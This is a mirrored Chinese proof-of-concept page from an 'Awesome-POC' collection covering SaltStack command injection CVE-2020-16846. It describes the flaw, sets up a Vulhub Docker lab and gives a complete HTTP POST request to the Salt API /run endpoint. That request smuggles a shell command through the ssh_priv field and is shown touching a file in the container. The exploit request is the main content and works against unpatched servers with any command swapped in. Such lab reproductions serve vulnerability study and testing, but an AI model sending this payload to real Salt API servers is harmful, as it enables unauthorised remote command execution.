mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-08 12:25:11 +00:00
51 lines
1.5 KiB
Markdown
51 lines
1.5 KiB
Markdown
|
# SaltStack 命令注入漏洞 CVE-2020-16846
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
SaltStack 是基于 Python 开发的一套C/S架构配置管理工具。2020年11月SaltStack官方披露了CVE-2020-16846和CVE-2020-25592两个漏洞，其中CVE-2020-25592允许任意用户调用SSH模块，CVE-2020-16846允许用户执行任意命令。组合这两个漏洞，将可以使未授权的攻击者通过Salt API执行任意命令。
|
|||
|
|
|
|||
|
|
参考链接：
|
|||
|
|
|
|||
|
|
- https://mp.weixin.qq.com/s/R8qw_lWizGyeJS0jOcYXag
|
|||
|
|
|
|||
|
|
## 环境搭建
|
|||
|
|
|
|||
|
|
Vulhub执行如下命令启动一个SaltStack Master服务：
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
docker-compose up -d
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
环境启动后，将会在本地监听如下端口：
|
|||
|
|
|
|||
|
|
- 4505/4506 这是SaltStack Master与minions通信的端口
|
|||
|
|
- 8000 这是Salt的API端口，**需要通过https访问**
|
|||
|
|
- 2222 这是容器内部的SSH服务器监听的端口
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
向`https://your-ip:8000/run`发送如下数据包：
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
POST /run HTTP/1.1
|
|||
|
|
Host: 127.0.0.1:8000
|
|||
|
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0) Gecko/20100101 Firefox/68.0
|
|||
|
|
Accept: application/x-yaml
|
|||
|
|
Accept-Language: en-US,en;q=0.5
|
|||
|
|
Accept-Encoding: gzip, deflate
|
|||
|
|
DNT: 1
|
|||
|
|
Connection: close
|
|||
|
|
Upgrade-Insecure-Requests: 1
|
|||
|
|
Content-Type: application/x-www-form-urlencoded
|
|||
|
|
Content-Length: 87
|
|||
|
|
|
|||
|
|
token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|touch%20/tmp/awesome_poc%3b
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
通过`ssh_priv`位置注入命令`touch /tmp/awesome_poc`，进入容器可见已执行成功：
|
|||
|
|
|
|||
|
|
|
|||
|
|
|